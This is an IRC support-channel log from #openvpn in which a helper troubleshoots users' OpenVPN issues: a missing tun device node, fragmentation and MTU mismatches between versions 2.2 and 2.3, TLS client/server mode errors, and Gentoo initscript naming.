14:31 < gan_> Something is strange because I have "dev tun" in server.config, but just running with no args (except an explicit --log myfile.txt) yields "Options error: You must define TUN/TAP device (--dev)" and then it exits
14:32 < gan_> I would have guessed the server.config does the same thing?
14:32 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:34 < pekster> If you run with no args at all except a log, yes, it is expected it will complain that it doesn't know what device type you want
14:35 < pekster> The "most minimal" command you could feasibly use from the command-line would be: openvpn --dev tun --secret k.key
14:35 < pekster> That will use a static key you provide in tun mode and open for listening connections. No address configuration, etc
14:41 < gan_> OK, must have misunderstood you.  Anyhow, I think I'll push forward trying to get the interfaces up and see what happens
14:42 < gan_> I assigned an address to tun0.  It now seems active and quite OK because OpenVPN brings it up and down as it is started and shut down (but not sure if the address I forced is correct?)
14:42 < pekster> Oh, yea, by start without explicit device, I mean don't pre-created it :)
14:42 < pekster> create*
14:43 < pekster> See --ifconfig and --ifconfig-push in the manpage. Also relevant: --server and --ifconfig-pool
14:43 < gan_> OK :)  But I think we moved forward only when I explicitly did a mknod /dev/net/tun
14:43 < pekster> It's another convenience/abstraction openvpn provides so you don't need per-OS ways to handle addressing
14:43 < pekster> Yea, seems your virt solution has tun support in the kernel but does not provide the /dev/net/tun character device node for you on boot
14:44 < pekster> I'd add that to your openvpn initscript or at a place logical for your distro
14:44 < gan_> got it.
14:44 < gan_> tun1 is another if  I created with ip.  It does not have an ip assigned.  OpenVPN does NOT succeed in bringing it UP when starting --dev tun1
14:45 < gan_> Strange details.  Anyhow, assuming tun0 now seems relatively sane, is there a risk I have assigned a static adress to it?
14:45 < pekster> [ ! -f /dev/net/tun ] && mknod /dev/net/tun c 10 200 || some_error_func "mknod failed"
14:45 < gan_> Or should it have a static adress/
14:45 < gan_> thanks, copied for inclusion in bootup
14:46 < pekster> You don't want static addresses to collide with a pool handed to other clients, otherwise no
14:47 < gan_> OK, so I was about to go test the client side.  Only question, can I test any connection locally first?
14:56 < pekster> You mean run the client & server on the same host? I'll do that when I'm testing configs sometimes, but it's not a great way to test if things work between different hosts
14:57 < gan_> No sure, just taking step by step here considering the trouble so far, and the fact that I might not know what I'm doing yet :)
14:58 < gan_> Come to think of it I think I followed the advice to remove the client keys from the server... :P  I'm going for network test now instead..
14:59 < pekster> For a secure environment, your PKI should be separate from your server. It's a security risk to keep your CA key on the server, although many people do it anyway accepting that risk
14:59 < pekster> Easy-RSA can be run from any system you'd like
15:00 < gan_> Yeah, I've done all the cert and key generation with easy-rsa
15:01 < pekster> The way the howto shows is the "abridged intro" to Easy-RSA. It's possible to use it to split the keypair generation and signing into separate steps, so your private keys never leave the system you use them on
15:05 < gan_> Yup.  I get it.  Still, need more hands on experience to do something like that. I forgot to state the ultimate goal.  Security isn't super critical because there won't be a LAN this time around (although I intend to do this for home network later)  This setup is nothing but a single forwarding proxy
15:06 < gan_> Or it's intended to be, if I succeed that is :P
15:06 -!- hatschi [~marvin@dslb-092-074-209-205.pools.arcor-ip.net] has joined #openvpn
15:06 < pekster> Sure, and it's all relative. Many people use Easy-RSA on the server and like it due to ease of use. Other people have a secure room with encrypted offline PKI storage that requires 2 authorized officers to approve access to the CA. All depends on your needs really
15:07 < hatschi> hi there
15:08 < pekster> fwiw, the next-gen version of Easy-RSA (I'm actually authoring some prototype code for it as we speak) will make it much easier to generate/sign on different boxes
15:08 < pekster> No silly "org/city/state" stuff, unless you want to enable it
15:08  * gan_ is planning to build a secure room and hire 2 officers
15:08 < hatschi> somebody here having a minute or two having an eye on my openvpn 2.2 to openvpn 2.3 update test issues?
15:08 < pekster> !ask
15:08 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
15:10 < pekster> ~/src/ersa-3.x $ grep FIXME * 2>/dev/null | wc -l
15:10 < pekster> 13
15:10 < pekster> Just a few things to fix first ;)
15:11 < hatschi> okay. i have several tunnels alive. all tunnels based on TCP work, but i have issues with tunnels over UDP. I have some sites with buggy routes that have troubles with UDP fragmentation, so i'm using fragment 1400 / mss fix in my config.
15:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:12 < hatschi> the config works fine with 2.2, but when using 2.3 both ends log WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1546', remote='link-mtu 1542' and WARNING: 'mtu-dynamic' is present in local config but missing in remote config, local='mtu-dynamic'. Also the server complains with 'Bad LZO decompression header byte:' many times...
15:13 < hatschi> as far as a know fragmentation adds 1 or 2 bytes overhead to the packet. for me it seems that 2.3 client has trouble to understand the fragment command. is there something new in fragmentation with 2.3 i missed?
15:15 < pekster> --fragment prevents UDP packets from being sent that are larger than the specified size. For it to work if you have a network connection with broken PMTU between the peers, both sides will need to match the value. Are you also tweaking any of the --link-mtu or --tun-mtu options? Those need to match too, and are generally best left alone
15:17 < pekster> You might try disabling lzo on both clients and see what the MTU is between your links using the --mtu-test option added to a working config on the client. It'll take a few minutes to complete, but it'll test and report the MTU that you can use to tune --fragment and --mss-fix
15:17 < hatschi> fragment is the same on both end's. the original config also sets tun-mtu 1500 (i read somewhere that's the right choice) and it worked for me in this setup. i had no mtu issues from broken DSL-routers with this issue.
15:18 < gan_> I'm clearly way out of my league here... but learned once that ICMP is used to report fragmentation stuff.  So if any of your intermediate routers/firewalls are blocking all ICMP (because you think it's a good idea to drop pings) you might want to check it.
15:18 < hatschi> i have none of these routers accessible at the moment, but i tester it with 2.2 and it was somewhere around 1400. as already mention, the config works with 2.2 but fails with 2.3...
15:20 < pekster> Right, that's a little odd. I'm not aware of an intentional change that would break that. The mismatch on link-mtu and mtu-dynamic warnings would appear to be a mis-match between the 2 peers' settings
15:20 -!- Orbi [~opera@93.182.148.191] has joined #openvpn
15:21 < hatschi> gan_: i know quite well which devices are causing the trouble - but i have to life with them. and yes, sending ICMP would be the right way… but these things just drop packets exceeding 146? bytes initially and after some time it seems that the device even stops forwarding packets for this port...
15:21 < pekster> The good news is that IPv6 mandates PMTU handling as part of its protocol. The bad news is that you're not using it
15:22 < hatschi> pekster: i already had this idea too. and the missing 2 bytes in the link mtu could fit to the bytes added by fragmentation. also the 2nd message about 'mtu-dynamic' - it's the old config keyword for fragmentation.
15:22 < pekster> Yea, I mean you can try an even smaller fragment size and see if it goes away, or try disabling comp-lzo completely to see if at least you can reduce those errors to eleminate the possibility some comp-lzo mismatch is messing with packet sizes
15:22 < pekster> Right
15:23 < hatschi> any idea or pointer where i can see if the client has enabled fragmentation? is there anything i can see from the logs?
15:23 < pekster> It sounds like one end is deciding that PMTU decation allows for a size of X, but the other peer ends up using Y, and thus comp-lzo freaks out when it can't decompress the packet
15:23 < gan_> hatschi: ok, I can only wish you good luck then :)
15:23 < pekster> --verb 4 should show you full config on startup, unless you're using an "official" build of 2.3.0 since bug #260 makes verb 4 worthless :\
15:24 < hatschi> just give me a sec, i disable lzo and see what happens.
15:24 < pekster> (if you can build from source, set enable_debug=yes when you build and --verb 4 works normally)
15:25 < pekster> I don't really think lzo is your issue (that is, if you already checked it matches on both peers) but it might be masking the real issue
15:26 < hatschi> i also think that lzo is using the wrong entry because of the 2 byte link-mtu entrance - i assume the server cut of 2 bytes because it thinks they are for fragmentation.
15:26 < hatschi> wait a moment i think i've also seen some other logs....
15:27 < pekster> Remember that comp-lzo has multiple modes, including on/off/adaptive
15:27 < hatschi> yep: FRAG_IN error flags=0xfa450005: bad fragment size
15:27 < hatschi> FRAG_IN error flags=0xfa2a187b: FRAG_TEST not implemented
15:27 < pekster> Oh, this rings some vauge bell. I remember hunting in the code for that FRAG_TEST recently
15:30 < hatschi> okay, i've disabled LZO and have a bunch of new messages:
15:30 < hatschi> FRAG_IN error flags=0x45000040: spurrious FRAG_WHOLE flags
15:30 < hatschi> IP packet with unknown IP version=0 seen
15:30 < hatschi> IP packet with unknown IP version=3 seen
15:31 < pekster> comp_lzo is disabled on *both* ends?
15:31 < hatschi> FRAG_IN error flags=0x45000045: bad fragment size
15:31 < hatschi> yes, on both ends ;)
15:31 < hatschi> FRAG_IN error flags=0x45000030: spurrious FRAG_WHOLE flags
15:31 < pekster> That error about IP version should only pop up when a corrupt (ill-formatted) packet comes through
15:31 < hatschi> or if the server expects fragmented backers but the client doesn't fragment...
15:32 < hatschi> btw: the server is a multiserver....
15:33 < pekster> The FRAG_TEST is define to 3, so that is possibly where the IP version thing comes from (only values 4 & 6 are valid IP versions, for IPv4 and IPv6 traffic.)
15:33 < pekster> Any other value there is assumed to be a malformed packet, thus logged and dropped
15:34 < hatschi> let me do a bogus test: i remove fragment from the server, but leave it on the client..
15:34 < pekster> Ultimately you want to try and correct the mismatch on the link-mtu, since that's probably the cause of the corruption
15:35 < pekster> I'm not well equipped right now to mess with reduced MTU links, but I'm curious what happens if I set up 2 lab networks with a standard 1500 MTU and link them across soemthing smaller, 146x as you suggest
15:35 < pekster> 2.2.x anad 2.3
15:36 < hatschi> just use a normal link (i'm also trying it within two vm's right now) and just add fragment 1400 / mssfix to both ends…
15:36 < hatschi> gotcha: removing fragment from server , leaving it on the client generates a working link with no warnings…. ;)
15:37 < pekster> And the server is your 2.2.x system?
15:37 < hatschi> i already updated the server to 2.3 and have the same issue. doesn't matter if the server is 2.2 or 2.3
15:37 < hatschi> let me see if i find the old 2.2 binaries for the client...
15:38 < pekster> Ah, so you didn't have this issue 2.2.2 to 2.2.2? But do have this issue if one or both peers is 2.3.0?
15:38 < hatschi> yep.
15:38 < pekster> Or am I misunderstanding that
15:42 < hatschi> okay… 2.2 client with fragmentation enabled to 2.3 with fragmentation disabled: MTU-Warnings, IP packet with unknown IP version=0 seen and non-working link.
15:42 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
15:42 -!- athetius_ [~sollux@athetius.com] has joined #openvpn
15:42 -!- roue_ [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
15:42 -!- Rienzilha [rien@sinas.rename-it.nl] has joined #openvpn
15:42 -!- zu_ [~zu@ks387228.kimsufi.com] has joined #openvpn
15:42 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
15:43 < hatschi> now i reenabled fragmentation on the server again -> now it's working with 2.3 server and 2.2 client.
15:45 < hatschi> so for me it seems that there is an issue with fragmentation in 2.3 client mode..
15:45 < hatschi> pekster: do you have the chance to verify this?
15:46 < pekster> WOrks for me 2.3 to 2.3
15:46 < pekster> Do you explicitly need a 2.2.2 client?
15:46 < hatschi> it works for me with 2.2 client to 2.2 or 2.3 server but not with 2.3 client to 2.2 or 2.3 server.
15:47 < pekster> I'm using a minimal config: http://paste.kde.org/693710/
15:47 < pekster> This works fine, no warnings on startup, etc
15:47 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 246 seconds]
15:47 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Ping timeout: 246 seconds]
15:47 -!- athetius [~sollux@athetius.com] has quit [Ping timeout: 246 seconds]
15:47 -!- bla [bla@unaffiliated/bla] has quit [Ping timeout: 246 seconds]
15:47 -!- Rienzilla [rien@sinas.rename-it.nl] has quit [Ping timeout: 246 seconds]
15:47 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 246 seconds]
15:47 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 246 seconds]
15:47 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 246 seconds]
15:47 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Ping timeout: 246 seconds]
15:47 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Read error: Connection reset by peer]
15:47 -!- Netsplit *.net <-> *.split quits: Olipro, [fred]
15:47 -!- dazo is now known as dazo_afk
15:48 < hatschi> okay, i'm working with certificates but this shouldn't matter.
15:48 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
15:48 -!- Netsplit over, joins: [fred]
15:48 < pekster> Right, data channel is still secured using symmetric keys after startup (I suppose the options exchange would be different)
15:49 < pekster> But I get no problems pinging with packets at the link-mtu of 1500 with the fragmentation
15:49 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
15:49 < hatschi> is fragment server-pushable?
15:49 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
15:53 -!- bla [bla@vivane.thera.be] has joined #openvpn
15:53 -!- bla [bla@vivane.thera.be] has quit [Changing host]
15:53 -!- bla [bla@unaffiliated/bla] has joined #openvpn
15:53 -!- kirin` [telex@gateway/shell/anapnea.net/x-fqcxzfjrwhmymqfg] has quit [Read error: Connection reset by peer]
15:54 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
16:01 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Quit: leaving]
16:01 < hatschi> pekster: i've also cloned 2 vm's right now. it works with the minimal config. i'll try to break down my config to reproduce this issue…
16:02 < pekster> Yea, sounds like a good plan
16:02 < hatschi> i hope this is not a windows related problem… ;)
16:04 -!- kloeri_ is now known as kloeri
16:22 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
16:31 < hatschi> pekster: still alive?
16:31 < hatschi> pekster: tracked it down...
16:32 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
16:33 < hatschi> pekster: this config reproduces the issue: http://paste.kde.org/693740/
16:33 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
16:33 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Client Quit]
16:34 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:35 -!- mikkel [~mikkel@80.71.132.15] has quit [Quit: Leaving]
16:38 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 256 seconds]
16:40 < hatschi> pekster: it's quite late here, i'm going to bed now. i don't know if i have a change to pass by tomorrow… maybe you can reproduce this issue with the new config. the trick is to use <connection>remote [ip] [port]</connection> in configuration. this triggers the fragmentation misbehaviour...
16:41 < hatschi> by all
16:41 -!- hatschi [~marvin@dslb-092-074-209-205.pools.arcor-ip.net] has left #openvpn []
16:47 -!- bla [bla@unaffiliated/bla] has quit [Ping timeout: 248 seconds]
16:47 -!- bla [bla@unaffiliated/bla] has joined #openvpn
16:47 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
16:48 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
16:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 255 seconds]
16:58 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
17:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:06 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:18 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
17:20 -!- Cpt_Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
17:23 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
17:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
17:24 -!- Cpt_Oblivious is now known as Cpt-Oblivious
17:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
17:42 -!- Orbi [~opera@93.182.148.191] has left #openvpn []
17:45 -!- p3rror [~mezgani@41.140.169.138] has joined #openvpn
17:46 -!- p3rror [~mezgani@41.140.169.138] has quit [Client Quit]
17:51 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Quit: ZNC - http://znc.in]
17:52 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
18:01 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
18:02 -!- gan_ [~gan@c-13fde155.125-11-64736c12.cust.bredbandsbolaget.se] has quit [Quit: leaving]
18:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
18:06 -!- kirin` [telex@gateway/shell/anapnea.net/x-tyxibxesfaawsxwh] has joined #openvpn
18:07 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 245 seconds]
18:13 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has joined #openvpn
18:14 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
18:17 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:17 -!- mode/#openvpn [+v s7r] by ChanServ
18:22 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds]
18:24 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:24 -!- mode/#openvpn [+v s7r] by ChanServ
18:26 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
18:27 -!- p3rror [~mezgani@41.140.169.138] has joined #openvpn
18:29 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds]
18:31 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:31 -!- mode/#openvpn [+v s7r] by ChanServ
18:35 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 245 seconds]
18:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:37 -!- mode/#openvpn [+v s7r] by ChanServ
18:40 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has left #openvpn []
18:42 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 252 seconds]
18:45 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:45 -!- mode/#openvpn [+v s7r] by ChanServ
18:46 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 264 seconds]
18:47 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
18:48 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 245 seconds]
18:50 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 245 seconds]
18:53 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:53 -!- mode/#openvpn [+v s7r] by ChanServ
18:58 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 260 seconds]
19:00 -!- Wulf [~Wulf@port-35127.pppoe.wtnet.de] has joined #openvpn
19:00 -!- Wulf [~Wulf@port-35127.pppoe.wtnet.de] has quit [Changing host]
19:00 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
19:01 -!- JSharpe [~JSharpe@46.165.221.13] has quit [Quit: Leaving]
19:04 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
19:04 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Quit: ZNC - http://znc.in]
19:06 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 276 seconds]
19:06 -!- Denial- is now known as Denial
19:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:07 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
19:20 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
19:20 -!- mode/#openvpn [+v s7r] by ChanServ
19:23 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
19:23 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:48 -!- raidz is now known as raidz_away
19:55 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:57 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
19:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:01 < vaillor> Options error: Parameter ca_file can only be specified in TLS-mode, i.e. where -       -tls-server or --tls-client is also specified.
20:01 < vaillor> i get this error
20:01 < vaillor> what is it?
20:03 < pekster> Using the --ca directive isn't valid unless you're operating in a mode supporting X509 (TLS) authentication
20:06 < vaillor> so, what i need to do?
20:07 < vaillor> pekster: http://pastebin.com/5r2fubWt
20:07 < vaillor> this is my config
20:07 < vaillor> client side.
20:08 < pekster> Use a client mode of operation then. --tls-client at the very least, and possibly --pull as well. See the --client helper-directive for details on what it all includes
20:11 < vaillor> Sun Mar 10 00:31:02 2013 TLS Error: client->client or server->server connection attempted from [AF_INET]192.168.1.130:1194
20:11 < vaillor> WTF!
20:16 < pekster> One side of your connection must at as the "server" and the other the "client"
20:16 < pekster> --tls-server and --tls-client respectively
20:19 < vaillor> pekster, if i add " tls-server " into config.ovpn is the same?
20:20 < pekster> In what context? On your server?
20:20 < vaillor> yes
20:20 < pekster> You probably want both --tls-server and --mode server
20:21 < pekster> Or see the --server directive in the manpage. Use of --server implies a lot of things, including --mode server --tls-server --ifconfig and --ifconfig-pool setup for a "typical" server
20:21 < vaillor> pekster, can you tell me the correct line format that i need to add?
20:21 < pekster> That depends greatly on your setup
20:21 < pekster> There's no one "correct line" that fits everyone's needs. This is why sample configs are provided as a starting point with liberal comments to help you understand what they each do
20:21 < pekster> I'd rather teach you to understand what you need to do than just give you a config
20:22 < pekster> What specifically are you having trouble understanding?
20:23 < vaillor> pekster, i'm understanding how to give --tls-client and --tls-server into respective configuration files
20:23 < vaillor> if i add "--tls-client" into the configuration files, i get error
20:23 < pekster> So, the easiest thing to do is to use the "--server" direcive on the server. That options requires that you define a network and mask as paramaters for the virtual network your server will use
20:24 < pekster> Then use "--client" (no params needed) on the client, which has it act as a client and pull configuration from the server
20:24 < vaillor> ok, then i add "server" into server.ovpn
20:24 < vaillor> and client into client.ovpn
20:24 < vaillor> it's ok?
20:27 < pekster> Did you read the part above where I said the server directive takes paramaters? Did you look the paramaters up in the manpage or the sample config file in the howto? What did you learn about how you must apply your chosen VPN network range to this paramater?
20:29 < vaillor> I am very tired, I spent half a day to figure out how to create and configure certificates, I did. now I want to be slightly helped set up the other parameters. here in Italy is night
20:30 < vaillor> server: http://nopaste.info/c4f29251bb.html
20:31 < vaillor> client: http://nopaste.info/61d18b7e89.html
20:32 < pekster> Your server directive doesn't have the required format (manpage and samples are your friend.) You don't want to use ifconfig with server. You have tap on one side and tun on the other. Your comp-lzo settings are mismatched.
20:32 < pekster> The sample config file would be a much better place to start, as would following the howto
20:33 < vaillor> server 10.10.10.0 255.255.255.0
20:33 < vaillor> should be better?
20:33 < pekster> Yup
20:34 < pekster> Use the same 'dev' type on both sides, and remove your 'ifconfig' on the server. Please consult the manpage for the "--server" directive and you'll see it already includes that
20:34 < pekster> And comp-lzo needs to match on both sides of your setup
20:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:35 < vaillor> Sun Mar 10 00:56:02 2013 TLS Error: client->client or server->server connection attempted from [AF_INET]192.168.1.130:119
20:36 < vaillor> i get the same f*****g error
20:36 < vaillor> server
20:36 < vaillor> dev tap
20:36 < vaillor> proto udp
20:36 < vaillor> server 10.10.10.0 255.255.255.0
20:36 < vaillor> this is what i set into server side
20:37 < pekster> Why are you using tap?
20:37 < pekster> !tunortap
20:37 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
20:37 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
20:37 < pekster> Don't use tap unless you have a need for it. It's also invalid to use tap on one side a tun on the other, as you have done
20:38 < vaillor> never changed
20:39 < vaillor> http://pastebin.com/dwtdpx39
20:39 < vaillor> i'm still crying
20:40 < vaillor> this is client side config
20:40 < pekster> The pastes earlier showed tap on the server and tun on the client
20:40 < pekster> You *cannot* do this
20:40 < pekster> Square peg, round hole.
20:42 < vaillor> pekster, now is tun on both side
20:48 < vaillor> Options error: Unrecognized option or missing parameter(s) in config.conf:3: tsl-client         (2.1.3)
20:55 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:57 -!- fulcan [brads@2600:3c00::f03c:91ff:fe70:f0a9] has joined #openvpn
20:59 < fulcan> I have 2 openvpn configurations for 2 different tunnel. prior to an update I had pretty init.d scripts that would launch each tunnel with their own config file. now so st00pid develeloper decided to change init and now the the only way I can get openvpn to work is with /usr/sbin/openvpn --config /etc/openvpn/connect.conf  which is no good..  How do unfuq init?
21:00 < fulcan> init fails here -> VPNCONF="${VPNDIR}/${VPN}.conf"
21:01 < pekster> How about install the stock initscript for your distro?
21:01 < pekster> And teach your devs about revision control
21:02 < fulcan> pekster the stock is what is failing  /etc/init.d/openvpn fails to find config file now
21:04 < fulcan> pekster 3 different systems got updated yesterday and all 3 share the exact same issue, at the same time.
21:05 < pekster> The "official" source package openvpn provides has an rhel and suse init setup. Other distros provide their own init systems
21:06 < fulcan> gentoo
21:06 < fulcan> here
21:06 < vaillor> pekster, please, can you tell me the right configuration? i'm becoming mad
21:09 < pekster> fulcan: Gentoo uses symlinks to determine the config name from the script
21:09 <@EugeneKay> Oy, gentoo.
21:09 -!- fulcan [brads@2600:3c00::f03c:91ff:fe70:f0a9] has quit [Disconnected by services]
21:09 <@EugeneKay> And you're surprised when the entire thing randomly eats its own head? :-p
21:09 < pekster> EugeneKay: Well, I like it, but I am quite familiar with how it works
21:10 < pekster> Better than having to figure out how to make one of the 2 VPNs running restart cleanly from an init system that isn't designed to uniquely control each process and just blindly starts them all in succession :(
21:10 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 250 seconds]
21:10 < pekster> (that was a Not So Fun Day in NetBSD land. I like a lot of what NetBSD does, but not that, on that day._)
21:11 -!- fulcan [brads@2600:3c00::f03c:91ff:fe70:f0a9] has joined #openvpn
21:11 < pekster> Did you anger the service gods? :P
21:11 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
21:11 < pekster> fulcan: So, you should have a symlink like /etc/init.d/openvpn.configname -> openvpn
21:12 < pekster> That will correspond to a config file at /etc/openvpn/configname.conf
21:12 < fulcan> pekster clear wireless service sux, but it's cheap too
21:12 < pekster> Unless you hacked the initsscript, that's how it's been that way for many years
21:16 < DougEFresh> ayo
21:16 < fulcan> pekster yes, I have 2 /etc/openvpn/openvpn.conf and /etc/openvpn/connect.conf which correspond with /etc/init.d/openvpn and /etc/init.d/openvpn.connect the two always worked together perfectly, for like 6 months and then a routine update yesterday broke it. I even tried setting a stating value VPNCONF="/etc/openvpn/openvpn.conf", but init failed to read the static value
21:17 < pekster> Nope, you want /etc/init.d/openvpn.openvpn if you have an openvpn.conf
21:17 < pekster> Note the initscirpt line for VPN=${SVCNAME#*.}
21:18 < pekster> That is pretty standard for gentoo's initscripts when they support multiple concurrent instances with independent init control
21:18 < pekster> It scrapes off the leading "foo." from the name you called the script with
21:18 < fulcan> o
21:18 < pekster> IMO that's also a very bad name for a config, but it's not disallowed ;)
21:19 < vaillor> TLS Error: client->client or server->server connection attempted from 192.168.1.130
21:19 < pekster> It's almost as silly as naming a network interfaces "net" and then you end up with a /etc/init.d/net.net interface ;)
21:19 < vaillor> sounds like a TSL handshake error
21:19 < vaillor> right?
21:20 < vaillor> i tried modifying some other stuff but i get the same thing
21:20 < pekster> s/interface/initscript/
21:21 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
21:23 < fulcan> http://pastie.org/6457206 it doesn't like openvpn.openvpn either
21:24 < pekster> What do thte logs say?
21:24 < pekster> You should hopefully have configured your /etc/openvpn/openvpn.conf sanely to log somewhere helpful ;)
21:25 < pekster> The one dumb thing Gentoo does is try to change user on you. You can either disable this "feature" or just use 'user root' 'group root' in your configs to avoid such "intelligent" decisions
21:25 < pekster> That should be an opt-in feature, not opt-out, but it's managable if you know about it
21:26 < pekster> I guess it's more "secure" to do that, but it's unexpected
21:26 < fulcan> pekster the logs are completely bare of anything openvpn in messages. it is as though because of the disconnect from init, it is completely oblivious to system messaging.  :/
21:26 < pekster> Where are you logging?
21:27 < pekster> OpenVPN does not simply "not log" when it fails to start
21:27 < fulcan> messages
21:27 < pekster> So you have *no* log or log-append directive in your openvpn.conf file?
21:29 < pekster> fwiw, I guess the initscript should attempt to use openvpn.conf if you call it via /etc/init.d/openvpn (since there's no leading string matching "*." it won't remove anything.) It's still not a great idea to do that
21:31 < fulcan> pekster If I start it the long way and manually point it to the --config file, it logs normally. openvpn is throwing in some default config and it log nothing.
21:32 < fulcan> via init
21:33 < pekster> Can you add an echo in front of the start-stop-daemon in the initscript and paste what it spits out?
21:34 < fulcan> http://pastie.org/6457302
21:36 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
21:36 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Operation timed out]
21:38 < fulcan> btw, I updated 5 systems yesterday and all 5 are having the same issue
21:38 < pekster> I want to know what ssd is doing
21:38 < pekster> YOu clearly didn't add an "echo" in front of that line
21:39 < pekster> http://paste.kde.org/693926/
21:39  * pekster thinks he's getting the hang of this git thing... :)
21:40 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
